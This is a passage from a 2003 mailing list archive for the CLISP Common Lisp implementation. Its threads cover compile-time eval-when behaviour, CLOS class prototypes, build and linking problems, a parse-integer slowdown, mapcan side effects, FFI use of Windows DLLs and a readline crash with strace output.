	      (list (function ,lambda-form) ',lambda-form *columns-used*))
	(format *trace-output* "Columns now: ~S~%" *columns-used*)
))))

When loading a file compiled with this, the effect is clear: the third =
element in the list will be NIL. The reason is, of course, that when =
reading the compiled file, no macroexpansion occurs, so *columns-used* =
is not modified at load-time.

In interpreted more everything is fine:
Columns for ZUGRIFFE so far: NIL
Columns now: (I/F_DIR PROTO SERVICE TIME DATE TYPE ACTION)

Using (load :compiling t)
Columns for ZUGRIFFE so far: NIL
Columns now: (I/F_DIR PROTO SERVICE TIME DATE TYPE ACTION)
Columns for ZUGRIFFE so far: NIL
Columns now: NIL
One of these comes from eval-when compile, the second from eval-when =
eval.

Any idea? Sounds familiar?
	J=F6rg H=F6hle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E4C2@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?"
> * Sent on Thu, 20 Feb 2003 17:52:21 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam wrote:
> >An alternative would be to add a class prototype (which would waste an
> >instance for each class...)
> 
> The class-prototype hack(?) may be something
> 2) which seems to be somewhat standard in CLOS (I guess from your
> wording), whereas SHARED-SLOT would be specific to CLISP.

it's in MOP.

> Maybe a separate weak hash-table trick may allow to implement a
> singleton class-prototype for all classes for which one was requested
> without spending an extra slot on each class?

> (defvar clos:*class-prototypes* (make-hash-table :Test #'eq :weak :keys))
> ; weak so as not to grow unnecessarily
> (defun class-prototype (class)
>   (check-type class 'standard-class)
>   (or (gethash class *class-prototypes* nil)
>       (setf (gethash class *class-prototypes)
>             (make-weird-instance-full-of #<unbound> slots except for the shared ones or whatever-is-needed))))
> Or maybe that class-prototype should not be an instance of its class
> (but of some other one). Would that be against programmer's
> expectations??

it's better to keep the prototype inside the CLASS struct.
class may be redefined &c.
we may create the prototype on demand.

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hmmm this is weird: when I type in a floating point constant greater
than or equal to 2 at the toplevel it does not eval correctly.

I am using a freshly checked out CVS head.


    % clisp -q
    STACK depth: 16363
    
    [1]> 1.99
    1.99
    [2]> 2.0
    4.0E-7
    [3]> 
    

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Hi,

>> The class-prototype hack(?) may be something
>> 2) which seems to be somewhat standard in CLOS (I guess from your
>> wording),
>it's in MOP.
I found
http://www.elwoodcorp.com/alu/mop/dictionary.html
http://www.franz.com/support/documentation/6.2/doc/mop/dictionary.html
"Generic Function class-prototype class 
Returns a prototype instance of class. Whether the instance is initialized is not specified. The results are undefined if a portable program modifies the binding of any slot of prototype instance."

It says "any slot", not "any local slot". Therefore, modifying shared slots like I'd wish to do seems unportable as well.
[English: probably needs to say "slot of *a/the/this* prototype instance".

>it's better to keep the prototype inside the CLASS struct.
>class may be redefined &c.
>we may create the prototype on demand.
considering class redefinition: forget the hash-table I suggested. Just create a new object for each invocation of class-prototype. W.r.t. redefinitions, with or without a table, the class-prototype instance may be subject to update-instance-for-redefined-class, like all other instances.
So I still don't see the necessity to spend a slot for this (supposedly) seldomly used thing. The MOP does not specify that there's a unique class-prototype instance for each class.

Maybe they said "consequences unspecified" because they wanted to leave it open whether this prototype would actually be considered by update-instance-for-redefined-class. Consider how user code (custom defmethod update-instance ...) may fail when encountering an instance with no initialized (bound) local slot. That might not meet the programmer's expectations. Conversely, I can't imagine how the local slots could possibly be initialized, since there's no way to obtain possibly required initargs.
All in all, this same problem w.r.t. redefinitions also applies to reading slots.

What about:
(defun class-prototype (class) (allocate-instance class))
;TODO class-prototype as a GF
However, this is not compliant, since "This generic function signals an error if class has not been finalized" whereas allocate-instance would finalize when needed.

However, allocate-instance may be all I need.

Are there compiler restrictions on using defclass and make/allocate-instance in the same file?
http://www.lispworks.com/reference/HyperSpec/Body/03_bbc.htm
does not indicate something like this. I may need eval-when around my defclass forms.

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On 20 Feb 2003 15:35:22 -0500, you wrote:

> I could not find the article your mentioned.

Well, it's more a blurb than an article.


> do you have a link?

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?"
> * Sent on Fri, 21 Feb 2003 10:27:34 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Are there compiler restrictions on using defclass and
> make/allocate-instance in the same file?

not in CLISP.
you may need to tweak pcl::*defclass-times*, pcl::*defgeneric-times*
and pcl::*defmethod-times* for CMUCL and SBCL.

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Sam Steingold <sds@gnu.org> writes:

> > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de>
> > * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?"
> > * Sent on Fri, 21 Feb 2003 10:27:34 +0100
> > * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> >
> > Are there compiler restrictions on using defclass and
> > make/allocate-instance in the same file?
> 
> not in CLISP.
> you may need to tweak pcl::*defclass-times*, pcl::*defgeneric-times*
> and pcl::*defmethod-times* for CMUCL and SBCL.

For what it's worth, those variables do not exist in SBCL, and as long
as the class is defined before it is used there is no problem with
making an instance of a class in the same file.

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Hi,

I encountered 2 problem areas trying to get CLISP 2.30 to compile:
1. location of termcap lib
2. unknown CHARSET:WINDOWS-CP1255 and -1258

Ad 1. -- termcap
Configuration and compilation went fine. It's not until link time that =
the linker complained about tgoto, tgetstr, tgetent etc.

a relevant message from configure was:
checking for library containing tgetent... no

Maybe termcap is on a strange location on this Suse Linux 8.2? Could a =
Linux person comment on this?
The Suse Linux 8.2 machine which I had acccess to had a strictly =
minimal server configuration: nothing but mysql, perl, gzip, gcc and =
ssh. I added a few packages since then.
uname -a: Linux 2.4.19-xGB #1 Fri Sep 13 13:14:56 UTC 2002 i686 unknown

ls -al /usr/lib/*term*
lrwxrwxrwx    1 root     root           19 Dec  3 13:27 =
/usr/lib/libtermcap.so.2 -> libtermcap.so.2.0.8
-rwxr-xr-x    1 root     root        14411 Sep  9 21:13 =
/usr/lib/libtermcap.so.2.0.8

/usr/lib/termcap:
total 19
drwxr-xr-x    2 root     root          112 Dec  3 13:27 .
drwxr-xr-x   22 root     root         7248 Feb  6 17:25 ..
-rw-r--r--    1 root     root        11072 Sep  9 21:13 libtermcap.a
lrwxrwxrwx    1 root     root           22 Dec  3 13:27 libtermcap.so =
-> ../libtermcap.so.2.0.8

The linker was invoked as
gcc -I/home/hoehle/include -W -Wswitch -Wcomment -Wpointer-arith =
-Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare
-O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES
-x none -Wl,-export-dynamic spvw.o ...
modules.o libcharset.a libavcall.a libcallback.a  -ldl  =
/home/hoehle/lib/libsigsegv.a -o lisp.run                           =20

I worked around this by adding both
	-L/usr/lib/termcap -ltermcap
to the LIBS variable in the Makefile.

Ad 2. -- CHARSET:WINDOWS-1255 and -1258
;; Loading file type.lisp ...
*** - SYMBOL-VALUE: CHARSET:WINDOWS-1258 has no dynamic value
*** - EVAL: the function %SAVEINITMEM is undefined
It appears that CHARSET:WINDOWS-1258 is among the exported symbols of =
package CHARSET, yet it has no value (an encoding). Therefore type.lisp =
errors out.
3. Break> (find-symbol "CP1258" "CHARSET")
NIL ; NIL

There was a change in CVS between 2.28 and 2.30 relevant to this, back =
in May 2002, saying
"removed nls_cp1255 and nls_cp1258". To me, it appears as if this =
change was incomplete.
As of today, encoding.d still has lines saying:
>  # Now some aliases.
>  define_constant(S(windows_1255),Symbol_value(S(cp1255)));
>  define_constant(S(windows_1258),Symbol_value(S(cp1258)));

If nls_cp1255 and nls_cp1258 are gone, what shall these lines do?

Trying to remove these lines did not work, nor copying the nls_.c files =
back from 2.28.
I hacked around this by adding an UNEXPORT to type.lisp

Somes line from configure maybe relevant to this:
checking whether NLS is requested... yes
checking for GNU gettext in libc... yes

Regards,
	J=F6rg H=F6hle.


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Hi,

what is the use of libsigsegv? My naive understanding is that being =
able to catch and react on SIGSEGV etc. is an essential part of a =
generational garbage collection.

However, the sigsegv library was removed from the CLISP sources between =
2.28 and 2.30. I nevertheless built CLISP-2.30 using the 2.28 =
libsigsegv.

What is sigsegv used for? What happens when it's not there?

Thanks for shedding any light on this issue.

unix/INSTALL says
  - GNU libsigsegv (highly recommended for C stack overflow detection),
I'm not in favour of removing a "highly recommended" library from the =
source tree, especially considering its small size.

BTW, here's a tiny copy&paste error within configure
checking for libsigsegv... yes                                    =20
checking how to link with libiconv... /home/hoehle/lib/libsigsegv.a
                             ^^^^^ sigsegv

Regards,
	J=F6rg H=F6hle.

FWIW, sigsegv/README says:
This is a library for handling page faults in user mode. A page fault =20
occurs when a program tries to access to a region of memory that is   =20
currently not available. Catching and handling a page fault is a useful
technique for implementing:                                           =20
                                                                      =20
  - pageable virtual memory,                                          =20
  - memory-mapped access to persistent databases,                     =20
  - generational garbage collectors,                                  =20
  - stack overflow handlers,                                          =20
  - distributed shared memory,                                        =20


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234EDED@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] about libsigsegv"
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> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
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> What is sigsegv used for?

SP-overflow detection.

> What happens when it's not there?

you get a segfault instead of "Program stack overflow. RESET." on some
platforms.

> I'm not in favour of removing a "highly recommended" library from the
> source tree, especially considering its small size.

we also "highly recommend" readline and libiconv.
we cannot distribute with CLISP all the libraries we want to use.

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Did you work with an internal beta version? The "official" SuSE is at
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Joerg Hoehle wrote:

> The Suse Linux 8.2 machine which I had acccess to had a strictly
> minimal server configuration: nothing but mysql, perl, gzip, gcc and
> ssh. I added a few packages since then.
> ...
> ls -al /usr/lib/*term*
> lrwxrwxrwx    1 root     root           19 Dec  3 13:27 /usr/lib/libtermcap=
> .so.2 -> libtermcap.so.2.0.8
> -rwxr-xr-x    1 root     root        14411 Sep  9 21:13 /usr/lib/libtermcap=
> .so.2.0.8

libtermcap is a permanent security problem. Better remove it from your
system, and use libncurses instead.

Bruno


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Hi,

Bruno Haible wrote:
>libtermcap is a permanent security problem. Better remove it from your
>system, and use libncurses instead.

Thanks. Now I have to figure out why this (8.1) Suse Linux system provides
  lrwxrwxrwx    1 root     root           18 Nov 28 11:19 libncursesw.so.5 -> libncursesw.so.5.2                                                                                  
  -rwxr-xr-x    1 root     root       337823 Sep  9 18:04 libncursesw.so.5.2
but no libncurses witout trailing -w.

Since -DUNICODE CLISP uses 16bit characters internally, why does it not require libncursesw instead of libncurses? From what I found, that seems to be the UTF/UCS/16bit version of it.
http://mail.gnome.org/archives/mc-devel/2001-October/msg00052.html

Anyway, I don't know why CLISP would need termcap/ncurses anyway. So I'm going to compile without (I don't need the keyboard-stream -- I'm not going to ask for an invisible password).

Regards,
	Jorg Hohle.


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Hi,

the internal-time-units-per-second pseudo-constant is documented as =
being 10_000_000 on Ms-windows.

However:
1. actual values returned by get-internal-run-time only differ by steps =
of 15.625 milliseconds (i.e. 156250).
2. actual values returned by get-internal-real-time differ by either =
15.0 or 16.0 milliseconds (i.e. 150000 or 160000).

What's the "value" of having an advertised value of 10_000_000 which =
(at least) I cannot make sensible use of?
Am I missing a MS-windows configuration switch?

All I see is that every call to these functions is likely to allocate a =
bignum, while granularity is in fact much less.
INTERNAL-TIME-UNITS-PER-SECOND of 64 (for 15.625ms increments) would =
suffice.

BTW, I reported a similar problem to the Jakarta/JMeter list back when =
I observed that all reported performance measurements where in fact in =
steps of (I interpolated) 15.625 ms increments: times spent were =
reported as 15, 16 or integer multiples of 15.625 ms.

Regards,
	J=F6rg H=F6hle.
Observed on a MS-windows-2k machine.


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Date: Wed Feb 26 07:06:09 2003
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Hi,

I've been hit by a problem where my application suddenly takes ages to
complete (several hundreds of seconds) with CLISP 2.30 (both Linux and
MS-Windows), whereas it only took ~30 seconds with clisp-2.28
(MS-Windows).

PARSE-INTEGER is involved in the tremendous slowdown. Missing an :END
argument, it appears to take time depending on (- (length buffer)
&start). I observed nothing like this with clisp-2.28.

It also appears that MAKE-STRING is very different from MAKE-ARRAY
:element-type 'character. Using strings from MAKE-STRING is fast with
PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous slowdow=
n.

My application is working with :start and :end keywords (sort of a
sliding window technique) on a large buffer (130KB), using functions
like STRING-=3D, PARSE-INTEGER, POSITION etc. which all accept these
keywords.

Below, I measure GET-INTERNAl-RUN/REAL-TIME around calls to
parse-integer.

;(space (testp 20 (testfS 13000) 10000)) ;use MAKE-STRING
;200_000 calls take 2 seconds, with only 5 computations >50 microsecs
SIMPLE-STRING                0         0          1    130008

;(space (testp 20 (testfA 13000) 10000)) ;use MAKE-ARRAY
;200_000 calls take 233 seconds
SIMPLE-STRING                0         0          1    520008

Using clisp-2.28 on MS-Windows, only 65 calls out of 238764 in my
application would return a time difference >0. The whole program
executes in 30 seconds.

Using clisp-2.30 on MS-Windows, 3777 out of 41400 calls would. I
interrupted the computation after 68 seconds because it had already
taken twice as much time as with 2.28. To complete, it would take a
lot more time (41400 << 238764).
(* 3777 0.015625) yields 59 seconds.

Using clisp-2.30 on Suse Linux 8.1, 150729 out of 156166 calls(!) did
take longer than 50 microseconds. I interrupted the job after 178
seconds. Compare this to using the testbed below, where parse-integer
usually takes 3-4 microseconds when operating on a string from MAKE-STRING.=


The following subseq from my *stats* variable after running my
application on Linux shows how PARSE-INTEGER takes time highly
dependend on (- (length buffer) start): towards the end of buffer, it
takes 6 microseconds to be compared with 2 milliseconds towards the
beginning of the 130KB buffer.

CAR is elapsed time in microseconds, CDR is buffer :start position
  (39 . 127328) (38 . 127473) (35 . 127613) (35 . 127753) (32 . 127901)
  (30 . 128042) (28 . 128183) (26 . 128329) (23 . 128477) (21 . 128626)
  (19 . 128768) (18 . 128910) (17 . 129052) (16 . 129199) (15 . 129351)
  (15 . 129503) (13 . 129715) (12 . 129868) (11 . 130017) (9 . 130365)
  (7 . 130519) (7 . 130671) (6 . 130811) (2330 . 4) (2175 . 152) (2152 . 29=
3)
  (2183 . 433) (2145 . 574) (2141 . 714) (2131 . 858) (2123 . 998)
  (2128 . 1138) (2119 . 1287) (2117 . 1435) (2112 . 1577) (2143 . 1717)
  (2120 . 1857) (2108 . 2000) (2108 . 2144) (2134 . 2288) (2104 . 2431)
  (2097 . 2583) (2093 . 2723) (2096 . 2863) (2127 . 3003) (2095 . 3148)


; remember times >50 microseconds
(defparameter *treshold* (floor (* 50 internal-time-units-per-second) 10000=
00))
;*treshold*

(defvar *stats* (make-array 200 :fill-pointer 0 :adjustable t))
;(setf (fill-pointer *stats*) 0)
;(length *stats*)
;(subseq *stats* 0 500)

;(space (ignore-errors (ext:muffle-cerrors (run-analyses gesamt))))

(defun my-parse-integer (line &key (start 0) (end nil) junk-allowed)
  (let ((from (get-internal-run-time)))
    (prog1 (parse-integer line :start start :junk-allowed junk-allowed)
      (let ((diff (- (get-internal-run-time) from)))
=09(when (> diff *treshold*)
=09  (vector-push-extend (cons diff start) *stats*))))))

(defparameter *item* " 13b;")
(defun testf (len)
  (let ((s (make-string (* (length *item*) len))))
    (loop repeat len
=09  for pos from 0 by (length *item*)
=09  do (replace s *item* :start1 pos))
    s))
(defun testp (iter s len)
  (let ((result 0))
    (dotimes (i iter result)
      (dotimes (j len)
=09(incf result (or (my-parse-integer s :start (* #.(length *item*) j) :jun=
k-allowed t)
=09=09=09 (error "Broken at ~D (~D) of ~D~%" j len i)))))))

Yet both types report as the same:
ANALYSE-LOG[480]> (describe (make-string 3))
"^@^@^@" is a simple 1 dimensional array (vector) of characters, of size 3.=

ANALYSE-LOG[481]> (describe (make-array 3 :element-type 'character))
"^@^@^@" is a simple 1 dimensional array (vector) of characters, of size 3.=

Similarly, (ARRAY-ELEMENT-TYPE x) -> CHARACTER

Both MS-windows builts using MSVC6 feature :UNICODE and :BASE-CHAR=3DCHARAC=
TER.

What changed between 2.28 and 2.30, producing such a dramatic impact?

Thanks for your attention,
=09J=F6rg H=F6hle.
It took me 2 days to track down a small reproducible test case and
realise that my testbed used MAKE-STRING, whereas my application uses
MAKE-ARRAY. Maybe compiling without UNICODE would have saved my days.


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hello,

i am having difficulties with some code which works fine in clisp 2.30 
as long as i only use the default require / provides mechanism for 
defining dependencies. but when i use defsystem from clocc i get an error.

the original program is not mine, and i am just trying to understand it, 
but in the attached file you can see the part of the code that produces 
the problem. when i load the original program (not this boiled down test 
file) with defsystem i get the following problem:

1. Break [16]> (type-of jt-node)
JT-NODE
1. Break [21]> (get-setf-expansion '(jt-table jt-node))
(#:G2873) ;
(JT-NODE) ;
(#:G2874) ;
(SYSTEM::%STRUCTURE-STORE 'JT-SEPARATOR #:G2873 2 #:G2874) ;
(JT-TABLE #:G2873)

i have an object of type jt-node, but the setf expansion wants to have a 
jt-separator object and the error produced looks like this:

*** - SYSTEM::%STRUCTURE-STORE:
#S(JT-NODE :VARIABLES (BOWEL FAMILY DOG)
    :TABLE
    #3A(((1.0 1.0) (1.0 1.0))
        ((1.0 1.0) (1.0 1.0)))
    :NAME #:C2845 :NEIGHBOURS NIL) is not a structure of type JT-SEPARATOR

i did not find any defsetf or similar in the original program which 
would have an influence on the behaviour of the jt-table slot. and 
besides that everything works fine with require / provides.

the single test file is just giving the bare minimum of the program and 
i am not able to reproduce the problem with this signle test file, but i 
am able to reproduce it in the original program.

my question is now if anybody could tell me if there are certain 
pitfalls i should watchout for in order to debug this problem?

many thanks for any hints!!
-- 
Christian Schuhegger


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(defstruct (jt-element (:conc-name jt-))
  variables
  table)
  
(defstruct (jt-finding (:include jt-element) (:conc-name jt-)))

(defstruct (jt-node (:include jt-element) (:conc-name jt-))
  name
  neighbours)

(defstruct (jt-separator (:include jt-element) (:conc-name jt-))
  neighbour1
  neighbour2)


(defvar *my-jt-node* (make-jt-node :name 1 :variables 2 :table 3))
(setf (jt-table *my-jt-node*) 4)

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This blew me away:

    > (setf c '((PIG2 BLUE4) (PIG1 RED)))
    ((PIG2 BLUE4) (PIG1 RED))
    > (mapcan #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2)) 
    (RED BLUE4)
    > c
    ((PIG2 RED BLUE4) (PIG1 BLUE4))

c has been modified, but not in the way I expected: the cdrs of
'(PIG2 BLUE4) and '(PIG1 RED) have been swapped.  Does this mean
that the lambda really returns by reference?  And what is the point
of this?  It seems to me that whichever way you combine the two
lists, you need three pointers (one for the beginning of the first
list, one for the beginning of the second, and one to traverse the
first), so why pick the way that has unintuitive results?

Moreover, the reference I am using

    http://www.lispworks.com/reference/HyperSpec/Body/f_mapc_.htm#mapcan

indicates that (mapcar ...) is equivalent to (apply #'nconc (mapcar
...)), and

    > (setf c '((PIG2 BLUE4) (PIG1 RED)))
    ((PIG2 BLUE4) (PIG1 RED))
    > (apply #'nconc (mapcar #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2)))
    (RED BLUE4)
    > c
    ((PIG2 BLUE4) (PIG1 RED BLUE4))

So is mapcan allowed to do this?  Or am I wrong in understanding
that the two must have the same side-effects?

Thanks,
Andrew

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> * In message <20030227132542.GA31399@techloaner2.idiomtech.com>
> * On the subject of "[clisp-list] can mapcan do this?"
> * Sent on Thu, 27 Feb 2003 08:25:42 -0500
> * Honorable Andrew Pimlott <andrew@pimlott.net> writes:
>
> This blew me away:
> 
>     > (setf c '((PIG2 BLUE4) (PIG1 RED)))
>     ((PIG2 BLUE4) (PIG1 RED))
>     > (mapcan #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2)) 
>     (RED BLUE4)
>     > c
>     ((PIG2 RED BLUE4) (PIG1 BLUE4))
> 
> c has been modified, but not in the way I expected: the cdrs of
> '(PIG2 BLUE4) and '(PIG1 RED) have been swapped.  Does this mean
> that the lambda really returns by reference?  And what is the point
> of this?  It seems to me that whichever way you combine the two
> lists, you need three pointers (one for the beginning of the first
> list, one for the beginning of the second, and one to traverse the
> first), so why pick the way that has unintuitive results?

You did not specify which version of CLISP you are using.
I must assume that it is not the current CVS head (which behaves the way
you expect).

> Moreover, the reference I am using
> 
>     http://www.lispworks.com/reference/HyperSpec/Body/f_mapc_.htm#mapcan
> 
> indicates that (mapcar ...) is equivalent to (apply #'nconc (mapcar
> ...)), and
> 
>     > (setf c '((PIG2 BLUE4) (PIG1 RED)))
>     ((PIG2 BLUE4) (PIG1 RED))
>     > (apply #'nconc (mapcar #'(lambda (p) (cdr (assoc p c))) '(PIG1 PIG2)))
>     (RED BLUE4)
>     > c
>     ((PIG2 BLUE4) (PIG1 RED BLUE4))
> 
> So is mapcan allowed to do this?  Or am I wrong in understanding that
> the two must have the same side-effects?

It may be argued both ways.
At any rate, the next release will behave the way you expect.

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On Thu, Feb 27, 2003 at 09:24:25AM -0500, Sam Steingold wrote:
> You did not specify which version of CLISP you are using.

I really really meant to.  ;-)

I am using GNU CLISP 2.30 (released 2002-09-15) on Debian GNU/Linux
(compiled myself from the 2.30-6 Debian source package).

> I must assume that it is not the current CVS head (which behaves the way
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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] parse-integer slowdown & make-string /= make-array of 'character"
> * Sent on Wed, 26 Feb 2003 16:05:10 +0100
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>
> It also appears that MAKE-STRING is very different from MAKE-ARRAY
> :element-type 'character. Using strings from MAKE-STRING is fast with
> PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous
> slowdown.

try SYS::STRING-INFO on the different strings.

> What changed between 2.28 and 2.30, producing such a dramatic impact?

2002-05-22 mutable small strings.

could you please profile your code with the CVS head?

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I have a .c function that has been compiled into a
.dll file.  I want to use FFI to call that function
from within CLISP.  What function do I use to load the
.dll file?   

I've seen several examples of doing this on unix (not
with .dll), but I am stuck on the Windows platform.

Code I'm testing with:

foo.c
__declspec(dllexport) int foo()
{   return 99;
}

lisp:
(load "C:\\lisp\\foo.dll") ; converting from Allegro,
this obviously doesn't work in CLISP
(ffi:def-call-out foo
  (:arguments (nil nil))
  (:return-type ffi:int)
  (:language :c)
)

thanks,
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Matthew Williams wrote:
>I have a .c function that has been compiled into a
>.dll file.  I want to use FFI to call that function
You cannot make use of a .dll for now unless you apply the patch that I sent to this list around March 2002. I'm sorry that I did not finalize that. It's certainly needed.

What you can do instead is (if you can compile CLISP from sources) to have your C function in a standard .obj file. Then compile your file containing def-call-out. This will generate a C interface file to your function (by creating what CLISP calls an external module). Then you link all of this into a new lisp.exe binary (and must edit modules.h prior to that).

I have written a MS-Word document (available in .doc and .pdf) that goes into details. Sent me private e-mail if you need that.

>foo.c
>__declspec(dllexport) int foo()
>{   return 99;
>}

>(ffi:def-call-out foo
>  (:arguments (nil nil))
Just omit :arguments or put an empty list [()]. (nil nil) is not the way to declare this case.
>  (:return-type ffi:int)
>  (:language :c)
These days you should probably use :language :stdc (means ANSI C)

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	Jorg Hohle.


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Hi,

From the description of ENCODING as a type in impnotes, I came to realise that
	(MAKE-ARRAY x :element-type charset:iso-8859-1)
must be perfectly legal (in CLISP), according to the ANSI CL wording.
[769]> (subtypep charset:iso-8859-1 'character) -> T ; T

Yet
[573]> (sys::string-info (make-array 1 :element-type charset:iso-8859-1))
8 ; NIL ; NIL
[579]> (sys::string-info (make-array 1 :element-type charset:unicode-16))
8 ; NIL ; NIL
I'd have expected 16 here.

I'm unsure whether CLISP should implement and advocate this as a recommended way to obtain the string-8/16/32 objects that CLISP internally uses.

Yet it looks like the right way (TRW) to allocate a string specialised to hold unicode-16 or -32 or -8 characters (or iso-8859-1 etc.).

Maybe somebody would find a use out of this (instead of these differences being shamefully hidden as by now, causing unexpected conversions)?

(Which brings me back to encoding-zeroes and rambling about encoding_min/max broken slots.)


Sam wrote:
>> It also appears that MAKE-STRING is very different from MAKE-ARRAY
>> :element-type 'character. Using strings from MAKE-STRING is fast with
>> PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous
>> slowdown.

>try SYS::STRING-INFO on the different strings.
[558]> (sys::string-info (make-string 1))
32 ; NIL ; NIL                                                                         
[559]> (sys::string-info (make-array 1 :element-type 'character))
8 ; NIL ;NIL

Oh, I mixed up the output from SPACE in my previous post -- sorry.
SIMPLE-STRING                0         0          1    130008
is from MAKE-ARRAY, and 520008 is from MAKE-STRING. So MAKE-STRING takes more room but is faster with PARSE-INTEGER.

>> What changed between 2.28 and 2.30, producing such a dramatic impact?
>2002-05-22 mutable small strings.
Ah. Yet that does not explain why parse-integer changed run-time behaviour while other functions didn't (at least I didn't notice).


>could you please profile your code with the CVS head?
That'll have to wait until I can use CVS. It's less of a problem now that cvs-ssh.sourceforge.net has opened a ssh server on port 443 so as to fool all those firewalls or proxies which would limit htts access to port 443 only.
All I need now is to get a Linux box here with internet access rights. None of the machines here has, for now.

Please explain how to profile with CLISP -- you probably don't mean the metering.lisp package. I once added profile(3) calls to C code but I see no support in makemake or configure of CLISP from that.

Regards,
	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE025F015D@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] parse-integer slowdown & make-string /= make-array of 'character"
> * Sent on Fri, 28 Feb 2003 10:28:54 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >could you please profile your code with the CVS head?
> All I need now is to get a Linux box here with internet access
> rights. None of the machines here has, for now. 

why can't you do that with woe32?

> Please explain how to profile with CLISP -- you probably don't mean
> the metering.lisp package. I once added profile(3) calls to C code but
> I see no support in makemake or configure of CLISP from that.

compile with "-p" (add it to CFLAGS manually)


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] parse-integer slowdown & make-string /= make-array of 'character"
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>
> It also appears that MAKE-STRING is very different from MAKE-ARRAY
> :element-type 'character. Using strings from MAKE-STRING is fast with
> PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous slowdown.

On 2002-05-22 Bruno introduced mutable small strings.
This means that whenever you parse a string, you call
unpack_sstring_alloca(), which involves a copy_16bit_32bit() or
copy_8bit_32bit() call for a "small string" (8-bit or 16-bit).

It appears that we need to eliminate all calls to
unpack_sstring_alloca() and replace them with SstringDispatch(),
which does not carry the same overhead.

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Several months ago wrote to the clisp-list about
problems which I experience with clisp 2.30 & clisp CVS.
Unfortunately I was not able to debug the problem more
thoroughly then and I'm doing it now.

The problem is that various readline operations
don't work as expected and may even crash clisp.
In particular if I just start clisp, press "a",
and then hit TAB then normally clisp beeps and
after second tab prints a list of symbols
whose names begins with a.  But in my case
first TAB causes stack overflow if libsigsegv
is present and core dump if libsigsegv is
absent.  Please, the the transcript below:

==========================================

Script started on Sun Mar  2 15:35:04 2003
[vadim@proxl src]$ LANG=C ./clisp
   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
   I I I I I I I      8     8   8           8     8     o  8    8
   I  \ `+' /  I      8         8           8     8        8    8
    \  `-+-'  /       8         8           8      ooooo   8oooo
     `-__|__-'        8         8           8           8  8
         |            8     o   8           8     o     8  8
   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003


[1]> a
*** - Program stack overflow. RESET
[2]> (quit)
Bye.
[vadim@proxl src]$
Script done on Sun Mar  2 15:35:28 2003

==========================================

My environment is:
Linux 2.4.18, glibc 2.2.6, readline 4.3.

I recompiled lisp with debug option and to my
astonishment problem magically disappeared!
So the same code compiled without debug crashes
and with debug works fine.  I've attached pieces
of strace log for both this cases.

I didn't mentioned yet that in all test I used
gcc 3.2.1.  So I tried to build clisp with the
with other available compilers namely gcc
2.95 and 2.95.3.  In both cases clisp
works fine and I don't observe any troubles
with readline.  It seems that there is
some subtle point concerning readline and
gcc 3.2 in clisp.

Can anybody reproduce the problem?
I'm ready to debug it further to pin
down the problem.

Best wishes,

Vadim

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read(0, "a", 1)                         = 1
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000
write(1, "a", 1)                        = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "\t", 1)                        = 1
open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9
read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024
fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0
mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000
mprotect(0x40023000, 2136, PROT_NONE)   = 0
mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000
close(9)                                = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
mprotect(0x202b9000, 4096, PROT_READ|PROT_WRITE) = 0
sigreturn()                             = ? (mask now [])
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
open("/proc/self/maps", O_RDONLY)       = 9
fstat64(9, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000
read(9, "08048000-08173000 r-xp 00000000 "..., 4096) = 2936
